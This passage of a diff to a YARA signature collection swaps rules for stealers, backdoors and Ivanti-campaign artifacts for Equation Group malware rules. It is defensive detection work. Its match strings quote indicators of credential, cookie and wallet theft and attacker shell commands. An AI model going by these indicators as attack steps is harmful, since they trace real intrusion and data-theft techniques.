+		logic_hash = "a908d44b831a27bb584c5da936346f77f0e205658ec2ebe0e600004645894593"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "e3bb02c5985fc64759b9c2d3c5474d46237ce472b4a0101c6313dafa939de5a9"
-		hash2 = "0ecf88d4b32895b4819dec3acb62eaaa7035aa6292499d903f76af60fcec0d6a"
-		hash3 = "a7a48f5220bd1ebe04de258d71fdd001711c165d162bd45e8cfbe8964eddf01c"
-		hash4 = "b6fa4889d8a87d45706d92714d716025bf223c01929755321faac1ab0db94a88"
-		hash5 = "7117b39890659c7dd11e15092c5e5ea9495bec0ff2b6e25254f6e343ed6ca33d"
-		hash6 = "ec2afb63555986fa55b7f98ae57c57e1138acb404a0dd2fe4f3d315730b9898e"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2a1f2034e80421359e3bf65cbd12a55a95bd00f2eb86cf2c2d287711ee1d56ad"
 
 	strings:
-		$x1 = "RunProgram=\"wscript.exe" fullword ascii
+		$s1 = "Read of audit related process memory failed" fullword wide
+		$s2 = "** This may indicate that another copy of modify_audit is already running **" fullword wide
+		$s3 = "Pattern match of code failed" fullword wide
+		$s4 = "Base for necessary auditing dll not found" fullword wide
+		$s5 = "Security auditing has been disabled" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <10000KB and 1 of them
+		( uint16(0)==0x5a4d and filesize <300KB and 3 of them ) or ( all of them )
 }
-rule SIGNATURE_BASE_SUSP_MAL_EXFIL_Stealer_Output_Characteristics_Sep22_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Equationgroup_Processhide_Lp : FILE
 {
 	meta:
-		description = "Detects typical stealer output files as created by RedLine or Racoon stealer"
+		description = "EquationGroup Malware - file ProcessHide_Lp.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c1cab3c3-c4f3-5a19-9ea3-9e4242238359"
-		date = "2022-09-17"
+		id = "b0842897-f591-5213-9a26-0f8732e6f3b8"
+		date = "2017-01-13"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/cglyer/status/1570965878480719873"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_stealer_exfil_zip.yar#L2-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "197bb4b837cdd635f9340547b10a90c3a2a17f0113076c5ccbc0a91b7ae18eeb"
-		score = 70
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1374-L1393"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "407045f5ac8eeec4403560de406e5d382d38ae2f34d0e4c7d3cc9b94debdfad8"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "8ce14c6b720281f43c75ce52e23ec13d08e7b2be1c5fbc2d704238f1fdd1a07f"
-		hash2 = "011c19d18fa446a2619b3a2512dacb2694e1da99a2c2ea7828769f1373ecd8fe"
-		hash3 = "418530bc7210f74ada8e7f16b41ea2033054e99f0c4423ce1d3ebf973c89e3a3"
-		hash4 = "aa6e2c8447f66527f9b6f4d54f57edc6cabe56095df94dc0656dca02e11356ab"
-		hash5 = "bbfb608061931565debac405ffebe3c4bb5dac8042443fe4e80aa03395955bd2"
-		hash6 = "c15107beecf3301fb12d140690034717e16bd5312a746e7ff43a7925e5533260"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "cdee0daa816f179e74c90c850abd427fbfe0888dcfbc38bf21173f543cdcdc66"
 
 	strings:
-		$sa1 = "passwords.txt" ascii
-		$sa2 = "autofills/" ascii
-		$sa3 = "browsers/cookies/" ascii
-		$sa4 = "wallets/" ascii
-		$sb1 = "Passwords.txt" ascii
-		$sb2 = "Autofills/" ascii
-		$sb3 = "Browsers/Cookies/" ascii
-		$sb4 = "Wallets/" ascii
+		$x1 = "Invalid flag.  Can only hide or unhide" fullword wide
+		$x2 = "Process elevation failed" fullword wide
+		$x3 = "Unknown error hiding process" fullword wide
+		$x4 = "Invalid process links found in EPROCESS" fullword wide
+		$x5 = "Unable to find SYSTEM process" fullword wide
+		$x6 = "Process hidden, but EPROCESS location lost" fullword wide
+		$x7 = "Invalid EPROCESS location for given ID" fullword wide
 
 	condition:
-		uint16(0)==0x4b50 and filesize <5000KB and (2 of ($sa*) or 2 of ($sb*))
+		( uint16(0)==0x5a4d and filesize <300KB and 1 of them ) or (3 of them )
 }
-rule SIGNATURE_BASE_OSX_Backdoor_Bella : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Equationgroup_Pwdump_Implant : FILE
 {
 	meta:
-		description = "Bella MacOS/OSX backdoor"
-		author = "John Lambert @JohnLaTwC"
-		id = "d2a994f9-acff-5de4-8f70-453b5d4d7947"
-		date = "2018-02-23"
+		description = "EquationGroup Malware - file pwdump_Implant.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "55984c20-539e-5e51-b3c4-caa6157c993d"
+		date = "2017-01-13"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/JohnLaTwC/status/911998777182924801"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_osx_backdoor_bella.yar#L2-L42"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4288a81779a492b5b02bad6e90b2fa6212fa5f8ee87cc5ec9286ab523fc02446 cec7be2126d388707907b4f9d681121fd1e3ca9f828c029b02340ab1331a5524 e1cf136be50c4486ae8f5e408af80b90229f3027511b4beed69495a042af95be"
-		logic_hash = "c2fa72072decd850698fbaaa9c2a6687cdf64e6bac068ff52a97963053db4339"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1395-L1410"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "20df7ef04154e317ee844545e541d62b3b8db4ac4800ba45a26b1092499c6e69"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "dfd5768a4825d1c7329c2e262fde27e2b3d9c810653585b058fcf9efa9815964"
 
 	strings:
-		$h1 = "#!/usr/bin/env"
-		$s0 = "subprocess" fullword ascii
-		$s1 = "import sys" fullword ascii
-		$s2 = "shutil" fullword ascii
-		$p0 = "create_bella_helpers" fullword ascii
-		$p1 = "is_there_SUID_shell" fullword ascii
-		$p2 = "BELLA IS NOW RUNNING" fullword ascii
-		$p3 = "SELECT * FROM bella WHERE id" fullword ascii
-		$subpart1_a = "inject_payloads" fullword ascii
-		$subpart1_b = "check_if_payloads" fullword ascii
-		$subpart1_c = "updateDB" fullword ascii
-		$subpart2_a = "appleIDPhishHelp" fullword ascii
-		$subpart2_b = "appleIDPhish" fullword ascii
-		$subpart2_c = "iTunes" fullword ascii
+		$s1 = ".?AVFeFinallyFailure@@" fullword ascii
+		$s8 = ".?AVFeFinallySuccess@@" fullword ascii
+		$s3 = "\\system32\\win32k.sys" wide
 
 	condition:
-		uint32(0)==0x752f2123 and $h1 at 0 and filesize <120KB and @s0[1]<100 and @s1[1]<100 and @s2[1]<100 and 1 of ($p*) or all of ($subpart1_*) or all of ($subpart2_*)
+		( uint16(0)==0x5a4d and filesize <100KB and all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_ME_Bigbang_Gen_Jul18_1 : FILE
+rule SIGNATURE_BASE_Equationgroup_Equationdrug_Gen_5 : FILE
 {
 	meta:
-		description = "Detects malware from Big Bang campaign against Palestinian authorities"
+		description = "EquationGroup Malware - file PC_Level3_http_dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f1097998-9414-511c-b177-ff09154964a8"
-		date = "2018-07-09"
+		id = "a67655eb-5593-5ac7-a6aa-81f235fa3c33"
+		date = "2017-01-13"
 		modified = "2023-12-05"
-		reference = "https://research.checkpoint.com/apt-attack-middle-east-big-bang/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_bigbang.yar#L3-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "496994ee035aa09233c648cf4ec0d1e84ceb970917b4dc5208a1390ec6eb39c2"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1412-L1428"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "834a7175a23c30301fce01482a2768d453368c7ca5c72ae52b2d266b31005991"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4db68522600f2d8aabd255e2da999a9d9c9f1f18491cfce9dadf2296269a172b"
-		hash2 = "ac6462e9e26362f711783b9874d46fefce198c4c3ca947a5d4df7842a6c51224"
-		hash3 = "e1f52ea30d25289f7a4a5c9d15be97c8a4dfe10eb68ac9d031edcc7275c23dbc"
+		hash1 = "4ebfc1f6ec6a0e68e47e5b231331470a4483184cf715a578191b91ba7c32094d"
 
 	strings:
-		$x2 = "%@W@%S@c@ri%@p@%t.S@%he@%l%@l" ascii
-		$x3 = "S%@h%@e%l%@l." ascii
-		$x4 = "(\"S@%t@%a%@rt%@up\")" ascii
-		$x5 = "aW5zdGFsbCBwcm9nOiBwcm9nIHdpbGwgZGVsZXRlIG9sZCB0bXAgZmlsZQ==" fullword ascii
-		$x6 = "aW5zdGFsbCBwcm9nOiBUaGVyZSBpcyBubyBvbGQgZmlsZSBpbiB0ZW1wLg==" fullword ascii
-		$x7 = "VXBkYXRlIHByb2c6IFRoZXJlIGlzIG5vIG9sZCBmaWxlIGluIHRlbXAu" fullword ascii
-		$x8 = "aW5zdGFsbCBwcm9nOiBDcmVhdGUgVGFzayBhZnRlciA1IG1pbiB0byBydW4gRmlsZSBmcm9tIHRtcA==" fullword ascii
-		$x9 = "UnVuIEZpbGU6IE15IHByb2cgaXMgRXhpdC4=" fullword ascii
-		$x10 = "li%@%@nk.W%@%@indo@%%@%@%wS%@%@tyle = 3" fullword ascii
+		$s1 = "Psxssdll.dll" fullword wide
+		$s2 = "Posix Server Dll" fullword wide
+		$s3 = "itanium" fullword wide
+		$s6 = "Copyright (C) Microsoft" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and (1 of them or pe.imphash()=="0f09ea2a68d04f331df9a5d0f8641332")
+		( uint16(0)==0x5a4d and filesize <300KB and all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_ME_Bigbang_Mal_Jul18_1 : FILE
+rule SIGNATURE_BASE_Equationgroup_PC_Level3_Http_Flav_Dll : FILE
 {
 	meta:
-		description = "Detects malware from Big Bang report"
+		description = "EquationGroup Malware - file PC_Level3_http_flav_dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f30b2e11-f90a-5068-8eaa-25f11218ec6c"
-		date = "2018-07-09"
+		id = "4bc4804b-c6d2-5c94-b451-24bb0f3dba43"
+		date = "2017-01-13"
 		modified = "2023-12-05"
-		reference = "https://research.checkpoint.com/apt-attack-middle-east-big-bang/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_bigbang.yar#L31-L51"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "da45482b465549fce0f088c5818dff4a734faa2e4fbcec43b750893d1c3fefad"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1430-L1447"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "579539961e29c4da60dc632b1afd348e0d799e266f175a3bae7206b615d90f5b"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ac6462e9e26362f711783b9874d46fefce198c4c3ca947a5d4df7842a6c51224"
-		hash2 = "e1f52ea30d25289f7a4a5c9d15be97c8a4dfe10eb68ac9d031edcc7275c23dbc"
+		hash1 = "27972d636b05a794d17cb3203d537bcf7c379fafd1802792e7fb8e72f130a0c4"
 
 	strings:
-		$s1 = "%Y%m%d-%I-%M-%S" fullword ascii
-		$s2 = "/api/serv/requests/%s/runfile/delete" fullword ascii
-		$s3 = "\\part.txt" ascii
-		$s4 = "\\ALL.txt" ascii
-		$s5 = "\\sat.txt" ascii
-		$s6 = "runfile.proccess_name" fullword ascii
-		$s7 = "%s%s%p%s%zd%s%d%s%s%s%s%s" fullword ascii
+		$s1 = "Psxssdll.dll" fullword wide
+		$s2 = "Posix Server Dll" fullword wide
+		$s4 = "itanium" fullword wide
+		$s5 = "RHTTP/1.0" fullword wide
+		$s8 = "Copyright (C) Microsoft" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and 4 of them
+		( uint16(0)==0x5a4d and filesize <300KB and all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Foudre_Backdoor_1 : FILE
+rule SIGNATURE_BASE_Equationgroup_LSADUMP_Lp : FILE
 {
 	meta:
-		description = "Detects Foudre Backdoor"
+		description = "EquationGroup Malware - file LSADUMP_Lp.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ab2d43f4-fc35-5980-9b5d-98c5c4cfd012"
-		date = "2017-08-01"
+		id = "8068ca41-6365-5c97-82f2-be9ad89628e0"
+		date = "2017-01-13"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/Nbqbt6"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_foudre.yar#L13-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e42959162017ddf6da1d0b2950096e93e0e98c3e5f88ae28fc48e82ef98ca87b"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1449-L1462"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f67a64ae7fece949d37367d85a28a879e90844e5cc56e88a85a1cce890990f55"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7e73a727dc8f3c48e58468c3fd0a193a027d085f25fa274a6e187cf503f01f74"
-		hash2 = "7ce2c5111e3560aa6036f98b48ceafe83aa1ac3d3b33392835316c859970f8bc"
+		hash1 = "c7bf4c012293e7de56d86f4f5b4eeb6c1c5263568cc4d9863a286a86b5daf194"
 
 	strings:
-		$s1 = "initialization failed: Reinstall the program" fullword wide
-		$s2 = "SnailDriver V1" fullword wide
-		$s3 = "lp.ini" fullword wide
+		$x1 = "LSADUMP - - ERROR - - Injected" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and 2 of them )
+		( uint16(0)==0x5a4d and filesize <300KB and 1 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Foudre_Backdoor_Dropper_1 : FILE
+rule SIGNATURE_BASE_Equationgroup_Equationdrug_Mstcp32 : FILE
 {
 	meta:
-		description = "Detects Foudre Backdoor"
+		description = "EquationGroup Malware - file mstcp32.sys"
 		author = "Florian Roth (Nextron Systems)"
-		id = "38c7d05b-d545-53c5-8db7-a7925b5b7838"
-		date = "2017-08-01"
-		modified = "2023-01-07"
-		reference = "https://goo.gl/Nbqbt6"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_foudre.yar#L31-L51"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "77ae856e74ceb04e73c26154d7b4cf98ed0e1d8b9ac6ed78775becbff2473e13"
+		id = "bed26a7b-933f-5578-b65c-65179959050d"
+		date = "2017-01-13"
+		modified = "2023-01-06"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1464-L1485"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "aff97f8360a0c24bfde6a1b2616749d6cad3b19993716231d32b8bb59579c638"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "6bc9f6ac2f6688ed63baa29913eaf8c64738cf19933d974d25a0c26b7d01b9ac"
-		hash2 = "da228831089c56743d1fbc8ef156c672017cdf46a322d847a270b9907def53a5"
+		hash1 = "26215bc56dc31d2466d72f1f4e1b6388e62606e9949bc41c28968fcb9a9d60a6"
 
 	strings:
-		$x1 = "536F594A96C5496CB3949A4DA4775B576E049C57696E646F77735C43757272656E7456657273696F6E5C5C52756E" fullword wide
-		$x2 = "2220263024C380B3278695851482EC32" fullword wide
-		$s1 = "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\\\Startup\\" wide
-		$s2 = "C:\\Documents and Settings\\All Users\\" wide
-		$s3 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\\\Shell Folders" wide
-		$s4 = "ShellExecuteW" fullword wide
+		$s1 = "mstcp32.sys" fullword wide
+		$s2 = "p32.sys" fullword ascii
+		$s3 = "\\Registry\\User\\CurrentUser\\" wide
+		$s4 = "\\DosDevices\\%ws" wide
+		$s5 = "\\Device\\%ws_%ws" wide
+		$s6 = "sys\\mstcp32.dbg" fullword ascii
+		$s7 = "%ws%03d%ws%wZ" fullword wide
+		$s8 = "TCP/IP driver" fullword wide
+		$s9 = "\\Device\\%ws" wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and (1 of ($x*) or 4 of them ))
+		( uint16(0)==0x5a4d and filesize <200KB and 7 of them ) or ( all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Foudre_Backdoor_Component_1 : FILE
+rule SIGNATURE_BASE_Equationgroup_Nethide_Lp : FILE
 {
 	meta:
-		description = "Detects Foudre Backdoor"
+		description = "EquationGroup Malware - file nethide_Lp.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9070f581-64a7-5620-aff4-7f2cbd73099d"
-		date = "2017-08-01"
-		modified = "2023-01-07"
-		reference = "https://goo.gl/Nbqbt6"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_foudre.yar#L53-L75"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2eb267ab93c297101aef0cfcca78d0299ca7baa96b983a5f2ff547394cbac82d"
+		id = "39e96239-2189-5993-90ba-27e47f7bfdea"
+		date = "2017-01-13"
+		modified = "2023-12-05"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1487-L1504"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "70e96a8ef5f75e05b3f6d32b9b8392316c3a70cb479549a3700134435b690473"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7c6206eaf0c5c9c6c8d8586a626b49575942572c51458575e51cba72ba2096a4"
-		hash2 = "db605d501d3a5ca2b0e3d8296d552fbbf048ee831be21efca407c45bf794b109"
+		hash1 = "137749c0fbb8c12d1a650f0bfc73be2739ff084165d02e4cb68c6496d828bf1d"
 
 	strings:
-		$s1 = { 50 72 6F 6A 65 63 74 31 2E 64 6C 6C 00 44 31 }
-		$s2 = "winmgmts:\\\\localhost\\root\\SecurityCenter2" fullword wide
-		$s3 = "C:\\Documents and Settings\\All Users\\" wide
+		$x1 = "Error: Attempt to hide all TCP connections (any:any)." fullword wide
+		$x2 = "privilegeRunInKernelMode failed" fullword wide
+		$x3 = "Failed to unhide requested connection" fullword wide
+		$x4 = "Nethide running in USER_MODE" fullword wide
+		$x5 = "Not enough slots for all of the list.  Some entries may have not been hidden." fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and (3 of them ) or (2 of them and pe.exports("D1")))
+		( uint16(0)==0x5a4d and filesize <300KB and 1 of them ) or ( all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Foudre_Backdoor_SFX : FILE
+rule SIGNATURE_BASE_Equationgroup_PC_Level4_Flav_Dll_X64 : FILE
 {
 	meta:
-		description = "Detects Foudre Backdoor SFX"
+		description = "EquationGroup Malware - file PC_Level4_flav_dll_x64"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b5c7cd6b-48c8-5703-b695-19d226de1810"
-		date = "2017-08-01"
+		id = "f05dd0b6-106c-5d1d-ba09-4ac3035e7030"
+		date = "2017-01-13"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/Nbqbt6"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_foudre.yar#L77-L93"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dd5492f5314cb87fdb7c8b29bdf31e1fcd8541ed47b20f309538437d9c6ac600"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1506-L1521"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9c874581567909055deeae4f992bd99c1e08d5f62655d1cc9a7316beb8513d8f"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2b37ce9e31625d8b9e51b88418d4bf38ed28c77d98ca59a09daab01be36d405a"
-		hash2 = "4d51a0ea4ecc62456295873ff135e4d94d5899c4de749621bafcedbf4417c472"
+		hash1 = "25a2549031cb97b8a3b569b1263c903c6c0247f7fff866e7ec63f0add1b4921c"
 
 	strings:
-		$s1 = "main.exe" fullword ascii
-		$s2 = "pub.key" fullword ascii
-		$s3 = "WinRAR self-extracting archive" fullword wide
+		$s1 = "wship.dll" fullword wide
+		$s2 = "   IP:      " fullword ascii
+		$s3 = "\\\\.\\%hs" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
+		( uint16(0)==0x5a4d and filesize <200KB and all of them )
 }
-rule SIGNATURE_BASE_Pos_Malware_Malumpos
+import "pe"
+
+rule SIGNATURE_BASE_Equationgroup_PC_Level4_Flav_Exe : FILE
 {
 	meta:
-		description = "Used to detect MalumPOS memory dumper"
-		author = "Trend Micro, Inc."
-		id = "6d85c7fe-bf1b-53fb-b618-4b0f8b63cae4"
-		date = "2015-05-25"
+		description = "EquationGroup Malware - file PC_Level4_flav_exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "eb93a798-4e7e-52dc-a39b-bfb63a58d250"
+		date = "2017-01-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_malumpos.yar#L1-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ece32e51a12adf0d68420c8d98efbe7df27b9061ddfe4dcedf151f9f06287eee"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1523-L1541"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "975d327d5922e4b179a677501c2613186ea85299958a996dcdeb503b02495ff7"
 		score = 75
 		quality = 85
-		tags = ""
-		sample_filtype = "exe"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "33ba9f103186b6e52d8d69499512e7fbac9096e7c5278838127488acc3b669a9"
 
 	strings:
-		$string1 = "SOFTWARE\\Borland\\Delphi\\RTL"
-		$string2 = "B)[0-9]{13,19}\\"
-		$string3 = "[A-Za-z\\s]{0,30}\\/[A-Za-z\\s]{0,30}\\"
-		$string4 = "TRegExpr(exec): ExecNext Without Exec[Pos]"
-		$string5 = /Y:\\PROGRAMS\\.{20,300}\.pas/
+		$s1 = "Extended Memory Runtime Process" fullword wide
+		$s2 = "memess.exe" fullword wide
+		$s3 = "\\\\.\\%hs" fullword ascii
+		$s4 = ".?AVOpenSocket@@" fullword ascii
+		$s5 = "Corporation. All rights reserved." fullword wide
+		$s6 = "itanium" fullword wide
 
 	condition:
-		all of ($string*)
+		( uint16(0)==0x5a4d and filesize <200KB and all of them )
 }
-rule SIGNATURE_BASE_APT_UNC5221_Ivanti_Forensicartifacts_Jan24_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Equationgroup_Processinfo_Implant : FILE
 {
 	meta:
-		description = "Detects forensic artifacts found in the Ivanti VPN exploitation campaign by APT UNC5221"
-		author = "Florian Roth"
-		id = "49ba2a96-379d-5a58-979d-45e83fa546e7"
-		date = "2024-01-11"
-		modified = "2024-04-24"
-		reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_report_ivanti_mandiant_jan24.yar#L2-L16"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7f485f41072f5584dc76e71564e13066d9fe41685f33bff9c2886fa7d2155f94"
+		description = "EquationGroup Malware - file processinfo_Implant.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b110d819-2298-507b-91bb-2787bb11322e"
+		date = "2017-01-13"
+		modified = "2023-12-05"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1543-L1558"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b0aace3c6fa20c5bb238264b2aa484d548945a4c2ccb65482cce71427f061604"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "aadfa0b1aec4456b10e4fb82f5cfa918dbf4e87d19a02bcc576ac499dda0fb68"
 
 	strings:
-		$x1 = "system(\"chmod a+x /home/etc/sql/dsserver/sessionserver.sh\");"
-		$x2 = "SSH-2.0-OpenSSH_0.3xx."
-		$x3 = "sed -i '/retval=$(exec $installer $@)/d' /pkg/do-install"
+		$s1 = "hZwOpenProcessToken" fullword ascii
+		$s2 = "hNtQueryInformationProcess" fullword ascii
+		$s3 = "No mapping" fullword wide
 
 	condition:
-		filesize <5MB and 1 of them
+		( uint16(0)==0x5a4d and filesize <80KB and all of them )
 }
-rule SIGNATURE_BASE_M_Hunting_Backdoor_ZIPLINE_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Equationgroup_Equationdrug_Gen_2 : FILE
 {
 	meta:
-		description = "This rule detects unique strings in ZIPLINE, a passive ELF backdoor that waits for incoming TCP connections to receive commands from the threat actor."
-		author = "Mandiant"
-		id = "753884d6-d4c1-5e94-9d2c-f6ebb7bfaf85"
-		date = "2024-01-11"
-		modified = "2024-04-24"
-		reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_report_ivanti_mandiant_jan24.yar#L18-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
